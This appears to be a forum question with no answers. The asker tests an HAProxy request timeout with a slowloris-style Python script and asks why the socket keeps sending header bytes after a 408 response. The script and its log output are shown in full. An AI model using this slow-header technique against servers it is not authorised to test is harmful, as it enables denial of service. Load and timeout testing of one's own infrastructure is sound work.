Socket continues to send data after receiving 408 HTTP Status code

Viewed 37

I've my HAProxy configured to have an http-request timeout of 5 seconds and I'm running some slowloris scripts to test the configuration. The strange thing I noticed is that even after having received an 408 HTTP Status Code my socket, for some iterations, is still able to send some bytes. Here is my code:

def init_socket(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)

    ctx = ssl.create_default_context()
    s = ctx.wrap_socket(s, server_hostname=host)

    s.connect((host, port))

    s.send(b"GET / HTTP/1.1\r\n")
    s.send(b"Host: <my host>\r\n")
    s.send(b"User-Agent: randomagent\r\n")
    s.send(b"Accept-language: en-US,en,q=0.5\r\n")

    return s

def main():
    host = args.host
    port = args.port
    sleeptime = 7

    logging.info("Creating socket...")
    try:
        s = init_socket(host, port)
    except socket.error as e:
        logging.debug(e)
        return

    while True:
        try:
            logging.debug("Sleeping for %d seconds", sleeptime)
            time.sleep(sleeptime)
            try:
                logging.debug(s.recv(4096)) # here I receive the 408
                time.sleep(20)
                iterations = 0
                while True:
                    s.send(b"X-a: 100\r\n") # for some iterations this works
                    iterations += 1 
            except socket.error as e:
                logging.debug(f"Iterations: {iterations}")
                logging.debug(e)
                s = init_socket(host, port)

        except (KeyboardInterrupt, SystemExit):
            logging.info("Stopping Slowloris")
            break

And here is the output:

[08-09-2022 12:10:44] Creating socket...
[08-09-2022 12:10:44] Sleeping for 7 seconds
[08-09-2022 12:10:51] b"HTTP/1.1 408 Request Time-out\r\ncontent-length: 110\r\ncache-control: no-cache\r\ncontent-type: text/html\r\nconnection: close\r\n\r\n<html><body><h1>408 Request Time-out</h1>\nYour browser didn't send a complete request in time.\n</body></html>\n"
[08-09-2022 12:11:12] Iterations: 521
[08-09-2022 12:11:12] [Errno 32] Broken pipe
[08-09-2022 12:11:12] Recreating socket...
[08-09-2022 12:11:12] Sleeping for 7 seconds
[08-09-2022 12:11:19] b"HTTP/1.1 408 Request Time-out\r\ncontent-length: 110\r\ncache-control: no-cache\r\ncontent-type: text/html\r\nconnection: close\r\n\r\n<html><body><h1>408 Request Time-out</h1>\nYour browser didn't send a complete request in time.\n</body></html>\n"
[08-09-2022 12:11:39] Iterations: 601
[08-09-2022 12:11:39] [Errno 32] Broken pipe
[08-09-2022 12:11:39] Recreating socket...
[08-09-2022 12:11:39] Sleeping for 7 seconds
[08-09-2022 12:11:46] b"HTTP/1.1 408 Request Time-out\r\ncontent-length: 110\r\ncache-control: no-cache\r\ncontent-type: text/html\r\nconnection: close\r\n\r\n<html><body><h1>408 Request Time-out</h1>\nYour browser didn't send a complete request in time.\n</body></html>\n"
[08-09-2022 12:12:06] Iterations: 641
[08-09-2022 12:12:06] [Errno 32] Broken pipe
[08-09-2022 12:12:06] Recreating socket...
[08-09-2022 12:12:06] Sleeping for 7 seconds
[08-09-2022 12:12:13] b"HTTP/1.1 408 Request Time-out\r\ncontent-length: 110\r\ncache-control: no-cache\r\ncontent-type: text/html\r\nconnection: close\r\n\r\n<html><body><h1>408 Request Time-out</h1>\nYour browser didn't send a complete request in time.\n</body></html>\n"
^C[08-09-2022 12:12:17] Stopping Slowloris

What am I missing?

0 Answers
Related